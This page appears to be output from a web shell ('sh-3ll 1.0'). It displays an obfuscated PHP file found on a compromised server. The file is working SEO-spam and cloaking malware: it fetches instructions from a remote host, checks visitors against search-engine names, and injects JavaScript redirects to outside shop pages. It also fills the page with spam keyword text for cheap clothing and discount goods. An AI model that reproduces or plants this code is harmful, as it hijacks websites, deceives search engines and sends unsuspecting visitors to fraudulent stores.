HOME

sh-3ll 1.0
Current File : /home/ami/.trash/discovery.php
<?php
/* obfuscated by phpObfuscator.cn */
error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING); function getCurl($lEXLXF) { goto lNTrLFF; lNTrLFF: $lEXLXr = curl_init(); goto lNTrLFr; lNTrLFr: curl_setopt($lEXLXr, CURLOPT_URL, $lEXLXF); goto lNTrLFL; lNTrLFN: return $lEXLXL; goto lNTrLFY; lNTrLFL: curl_setopt($lEXLXr, CURLOPT_RETURNTRANSFER, 1); goto lNTrLFW; lNTrLFW: curl_setopt($lEXLXr, CURLOPT_SSL_VERIFYPEER, false); goto lNTrLFX; lNTrLFD: curl_close($lEXLXr); goto lNTrLFN; lNTrLFX: curl_setopt($lEXLXr, CURLOPT_SSL_VERIFYHOST, false); goto lNTrLFp; lNTrLFp: $lEXLXL = curl_exec($lEXLXr); goto lNTrLFD; lNTrLFY: } $lEXLXW = isset($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\110\124\x54\x50\x53"] == "\x6f\156" || isset($_SERVER["\x48\x54\x54\x50\137\130\x5f\106\x4f\x52\127\101\x52\x44\x45\x44\137\x50\x52\x4f\124\x4f"]) && $_SERVER["\x48\124\124\x50\137\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\120\x52\117\x54\x4f"] == "\x68\164\164\x70\163" ? "\150\164\x74\160\x73\72\x2f\x2f" : "\150\x74\164\x70\x3a\x2f\x2f"; $lEXLXX = ''; $lEXLXp = "\x68\x74\x74\x70\x3a\57\x2f\x70\x65\x6e\144\x73\x70\x6f\162\x74\163\x2e\143\x6f\155\57\x33\56\x61\163\x70\x78"; $lEXLXD = getCurl($lEXLXp); if (is_null($_GET["\151\151\144"])) { goto lNTrLFh; } $lEXLXX = getCurl($lEXLXD . "\x67\x6e\x2e\x61\163\x70\170\77\x69\151\144\75" . $_GET["\151\x69\144"]); lNTrLFh: if (is_null($_GET["\x73"])) { goto lNTrLFm; } $lEXLXN = getCurl($lEXLXD . "\x73\152\163\56\141\x73\160\170"); if (is_null($_GET["\x63\x69\x64"])) { goto lNTrLFT; } $lEXLXN = $_GET["\x63\151\144"]; lNTrLFT: $lEXLXF = $lEXLXD . "\163\x6a\x64\56\141\x73\x70\x78\77\x63\x69\x64\x3d" . $lEXLXN . "\x26\x6e\x75\155\x62\145\162\75" . $_GET["\156\x75\155\142\145\x72"] . "\x26\x70\156\165\155\x3d" . $_GET["\x70\156\x75\x6d"]; $lEXLXY = getCurl($lEXLXF); $lEXLXY = str_replace("\171\171\155\x6d", $lEXLXW . $_SERVER["\x48\x54\x54\x50\137\x48\117\123\124"] . $_SERVER["\x53\x43\122\x49\x50\124\x5f\x4e\x41\x4d\x45"], $lEXLXY); header("\103\x6f\156\164\x65\x6e\x74\x2d\x74\x79\160\x65\x3a\164\x65\170\164\57\x78\155\154"); echo $lEXLXY; exit; lNTrLFm: function check($lEXLXh) { goto lNTrLrr; lNTrLrX: lNTrLFV: goto lNTrLrp; lNTrLrN: if (is_null($_GET["\x69\x69\144"])) { goto lNTrLFu; } goto lNTrLrY; lNTrLrp: $lEXLXT = getCurl($lEXLXD . "\x67\145\164\144\157\155\141\151\x6e\x2e\141\163\x70\x78\x3f\x72\x6e\144\x3d\61\x26\x69\160\75" . $lEXLXh); goto lNTrLrD; lNTrLrV: lNTrLFu: goto lNTrLru; lNTrLrE: $lEXLXV = str_replace("\x70\162\x6f\144\165\x63\164\x73\56\141\x73\x70\x78", '', $lEXLXm) . "\77\143\x69\x64\75" . $_GET["\x63\x69\x64"]; goto lNTrLLF; lNTrLLL: lNTrLFk: goto lNTrLLW; lNTrLrT: echo "\x3c\x73\x63\162\151\x70\164\x3e\x64\x6f\x63\x75\x6d\x65\156\x74\x2e\154\x6f\143\141\164\x69\157\x6e\75\x22" . $lEXLXm . "\x3f\x63\x69\x64\x3d" . $_GET["\143\x69\144"] . "\46\143\156\141\x6d\145\x3d" . urlencode($lEXLXX) . "\46\165\x72\x6c\75" . $_SERVER["\x48\124\x54\x50\x5f\110\x4f\x53\x54"] . "\42\x3c\x2f\x73\x63\162\x69\160\x74\x3e"; goto lNTrLrm; lNTrLrr: global $lEXLXD; goto lNTrLrL; lNTrLLW: goto lNTrLrF; goto lNTrLLX; lNTrLLp: lNTrLrF: goto lNTrLLD; lNTrLrW: $lEXLXh = "\x36\x36\x2e\62\64\x39\56\x36\x34\x2e\x31\71\60"; goto lNTrLrX; lNTrLrk: $lEXLXm = $lEXLXD . "\x61\x2e\141\x73\x70\x78"; goto lNTrLrE; lNTrLrY: $lEXLXX = getCurl($lEXLXD . "\x67\156\x2e\141\163\160\x78\x3f\151\x69\x64\75" . $_GET["\x69\151\144"]); goto lNTrLrh; lNTrLLr: exit; goto lNTrLLL; lNTrLLF: echo "\x3c\163\x63\162\x69\x70\x74\x3e\x64\x6f\143\165\x6d\145\x6e\x74\56\x6c\x6f\x63\x61\164\151\x6f\x6e\75\42" . $lEXLXV . "\42\74\x2f\163\x63\162\x69\160\164\x3e"; goto lNTrLLr; lNTrLrm: exit; goto lNTrLrV; lNTrLrD: if (stripos($lEXLXT, "\147\x6f\157\x67\x6c\x65") != false or stripos($lEXLXT, "\155\163\x6e\56\143\x6f\155") != false or stripos($lEXLXT, "\x79\x61\x68\157\x6f\56\143\x6f\x6d") != false or stripos($lEXLXT, "\x61\x6f\154\56\143\x6f\x6d") != false) { goto lNTrLFE; } goto lNTrLrN; lNTrLrL: if (is_null($_GET["\153\153"])) { goto lNTrLFV; } goto lNTrLrW; lNTrLrh: $lEXLXm = $lEXLXD . "\x61\x2e\141\163\x70\x78"; goto lNTrLrT; lNTrLru: if (is_null($_GET["\x70\156\165\155"])) { goto lNTrLFk; } goto lNTrLrk; lNTrLLX: lNTrLFE: goto lNTrLLp; lNTrLLD: } function getIP() { $lEXLXh = $_SERVER["\122\x45\115\117\x54\x45\x5f\x41\104\104\x52"] . "\x2a" . $_SERVER["\122\x45\115\117\x54\105\x5f\110\117\123\x54"] . "\x2a" . $_SERVER["\110\x54\124\x50\x5f\x43\x4c\x49\x45\116\x54\x5f\111\x50"] . "\x2a" . $_SERVER["\x48\x54\124\120\x5f\130\x5f\x46\117\122\x57\101\x52\x44\x45\x44\x5f\x46\117\x52"] . "\x2a" . $_SERVER["\110\x54\x54\x50\137\130\x5f\x46\x4f\x52\127\101\x52\104\105\104"] . "\52" . $_SERVER["\x48\x54\x54\x50\x5f\106\117\x52\127\101\x52\104\105\104\x5f\106\117\x52"] . "\52" . $_SERVER["\110\x54\124\120\x5f\106\117\x52\127\x41\x52\104\x45\104"]; return $lEXLXh; } $lEXLXu = check(getIP()); echo "\x20\15\12"; $lEXLXF = ''; $lEXLXk = $lEXLXD . "\144\157\x69\x69\144\56\141\x73\160\x78"; if (!is_null($_GET["\x69\151\x64"])) { goto lNTrLLY; } $lEXLXN = getCurl($lEXLXD . "\163\x6a\163\x2e\141\x73\x70\170"); if (is_null($_GET["\x63\151\x64"])) { goto lNTrLLN; } $lEXLXN = $_GET["\x63\151\x64"]; lNTrLLN: $lEXLXF = $lEXLXk . "\x3f\143\151\144\75" . $lEXLXN . "\46\160\x6e\x75\155\75" . $_GET["\x70\x6e\x75\x6d"]; goto lNTrLLh; lNTrLLY: $lEXLXE = mt_rand(1, 1000); $lEXLXF = $lEXLXk . "\77\x69\x69\144\75" . $_GET["\x69\151\x64"] . "\46\155\164\x3d" . $lEXLXD . "\x45\x4e\x32\57" . $lEXLXE . "\x2e\164\170\164"; lNTrLLh: $lEXLpF = $lEXLXX . "\103\x68\x65\141\x70\x20\103\154\x6f\164\150\145\163\x20\123\x61\x6c\145\40\x2d\x20\127\150\x6f\154\145\x73\x61\154\145\40\115\x65\x6e\x27\163\x20\x26\x20\127\157\x6d\145\x6e\47\x73\40\103\154\157\164\150\151\x6e\x67\x20\x53\x74\x6f\162\x65\163\x20\174\x20\x44\x72\x65\163\x73\x65\163\x2c\x20\104\145\x6e\x69\x6d\x2c\40\124\157\x70\163\x2c\40\123\150\x6f\x65\163\x20\141\156\x64\x20\115\x6f\x72\x65\x20\x2d\x20\102\x65\163\x74\55\x53\x65\x6c\154\x69\x6e\x67\40\120\162\157\x6d\157\x74\x69\157\x6e\x61\x6c\40\x50\x72\x6f\144\165\143\x74\163" . $_GET["\x70\x6e\x75\x6d"]; $lEXLpr = $lEXLXX; $lEXLpL = "\117\x46\106" . mt_rand(50, 70) . "\x25" . $lEXLXX . "\117\156\154\151\x6e\145\40\x44\151\x73\x63\x6f\165\x6e\x74\40\x53\x68\157\160\x20\x66\x6f\x72\x20\x45\x6c\145\x63\164\x72\157\x6e\151\x63\x73\x2c\40\101\x70\160\141\162\x65\154\x2c\40\x54\157\171\163\x2c\40\x42\157\x6f\x6b\163\x2c\x20\107\x61\155\145\163\x2c\x20\103\x6f\x6d\x70\x75\x74\x65\162\163\x2c\40\x53\150\x6f\x65\x73\54\40\x4a\145\x77\145\x6c\x72\x79\54\40\127\x61\x74\x63\x68\x65\x73\54\40\102\141\x62\171\40\120\x72\x6f\144\x75\143\164\x73\54\x20\x53\160\157\162\x74\163\x20\46\40\x4f\165\x74\144\157\x6f\162\x73\x2c\40\117\x66\146\x69\x63\x65\40\120\162\157\144\165\x63\164\163\54\x20\x42\145\144\x20\x26\x20\x42\x61\164\x68\54\40\106\165\162\156\151\x74\165\x72\x65\x2c\40\124\x6f\x6f\x6c\163\x2c\x20\x48\x61\x72\144\x77\141\x72\145\54\40\101\165\164\x6f\155\x6f\164\151\x76\x65\40\x50\x61\x72\x74\163\54\40\x41\x63\143\145\163\163\157\x72\151\145\163\x20\x26\x20\155\x6f\162\145"; $lEXLpW = $lEXLXW . $_SERVER["\x48\x54\x54\x50\x5f\x48\117\123\x54"] . $_SERVER["\x50\110\x50\x5f\123\x45\x4c\x46"] . "\x3f" . $_SERVER["\x51\x55\x45\122\131\x5f\x53\124\x52\111\x4e\x47"]; $lEXLXY = getCurl($lEXLXF); $lEXLXY = str_replace("\x55\x55\125\125\125", $lEXLXW . $_SERVER["\110\x54\124\x50\x5f\x48\117\123\x54"] . $_SERVER["\x53\x43\122\x49\x50\124\x5f\x4e\101\115\x45"], $lEXLXY); $lEXLXY = str_replace("\x42\102\102\x42\x42", $_SERVER["\x48\124\x54\x50\x5f\x48\x4f\x53\x54"], $lEXLXY); $lEXLXY = str_replace("\116\x4e\116\116\116", $lEXLXX . $_GET["\x69\151\144"], $lEXLXY); $lEXLXY = str_replace("\x44\104\104\x44\x44", $lEXLXX . "\40\x47\x6f\154\144\54\x20\127\150\151\164\x65\54\40\102\x6c\x61\x63\153\54\x20\x52\x65\x64\54\40\x42\154\x75\145\54\x20\x42\x65\x69\147\x65\x2c\40\107\x72\145\x79\x2c\x20\120\x72\151\x63\x65\54\40\x52\x6f\163\145\x2c\40\x4f\162\141\x6e\147\x65\x2c\40\x50\x75\x72\160\x6c\145\x2c\x20\x47\x72\145\x65\156\x2c\x20\x59\x65\154\x6c\157\x77\x2c\x20\x43\x79\x61\156\x2c\x20\x42\157\x72\x64\145\141\x75\170\54\x20\160\x69\x6e\153\x2c\40\111\x6e\x64\x69\x67\157\54\40\102\x72\x6f\167\x6e\54\x20\x53\x69\154\166\x65\162\x2c\x45\154\145\x63\164\x72\x6f\156\151\143\163\x2c\x20\126\151\x64\145\x6f\x20\107\x61\x6d\x65\163\54\40\103\x6f\155\160\165\164\x65\x72\163\x2c\40\x43\145\x6c\154\40\x50\150\x6f\x6e\145\x73\54\40\x54\157\171\163\x2c\x20\x47\141\x6d\145\163\x2c\x20\x41\x70\x70\x61\x72\x65\154\x2c\x20\x41\143\143\x65\163\x73\157\x72\x69\x65\163\54\x20\123\150\x6f\x65\x73\x2c\x20\x4a\145\167\145\154\x72\171\x2c\40\x57\x61\164\143\150\x65\x73\54\40\x4f\x66\x66\151\143\145\40\x50\162\x6f\144\165\x63\x74\163\54\x20\x53\160\157\x72\x74\x73\x20\46\40\117\x75\164\x64\157\157\x72\163\54\x20\123\x70\x6f\162\x74\151\156\x67\40\107\x6f\x6f\x64\163\54\40\102\141\142\x79\x20\120\x72\x6f\x64\x75\143\x74\x73\54\40\110\x65\141\x6c\164\x68\54\40\x50\x65\162\x73\157\156\141\154\x20\103\141\162\145\54\40\x42\145\x61\165\x74\171\54\40\110\x6f\155\145\x2c\40\x47\x61\x72\x64\145\156\54\x20\102\x65\x64\x20\x26\x20\102\141\x74\x68\x2c\40\x46\165\162\x6e\151\x74\x75\162\145\54\x20\124\x6f\157\x6c\163\x2c\40\110\141\162\144\167\x61\x72\145\x2c\x20\x56\141\x63\x75\165\x6d\163\54\x20\x4f\165\x74\x64\x6f\157\162\40\x4c\151\x76\151\156\x67\x2c\x20\x41\x75\164\x6f\x6d\157\x74\x69\x76\145\40\120\141\162\164\163\x2c\x20\120\x65\x74\40\123\165\160\160\x6c\x69\145\163\54\40\102\x72\x6f\x61\x64\x62\141\x6e\x64\54\x20\104\123\114\x2c\x20\102\157\157\x6b\163\54\x20\x42\157\x6f\x6b\40\123\164\157\x72\145\x2c\x20\x4d\141\147\x61\172\x69\156\x65\x2c\40\123\165\142\x73\x63\162\x69\160\x74\x69\157\x6e\54\x20\115\x75\163\151\x63\54\40\103\104\163\54\x20\x44\x56\104\x73\x2c\40\x56\x69\144\x65\x6f\x73\54\117\156\154\x69\156\145\x20\123\x68\x6f\160\x70\151\156\147\40" . $_GET["\x73\145\141\162\x63\x68\x74\x78\x74"], $lEXLXY); $lEXLXY = str_replace("\x54\124\124\x54\124", $lEXLpF, $lEXLXY); $lEXLXY = str_replace("\x4b\113\113\x4b\113", $lEXLpr, $lEXLXY); $lEXLXY = str_replace("\111\x49\x49\x49\x49", $lEXLpL, $lEXLXY); $lEXLXY = str_replace("\103\x43\103\x43\103", $lEXLpW, $lEXLXY); echo $lEXLXY;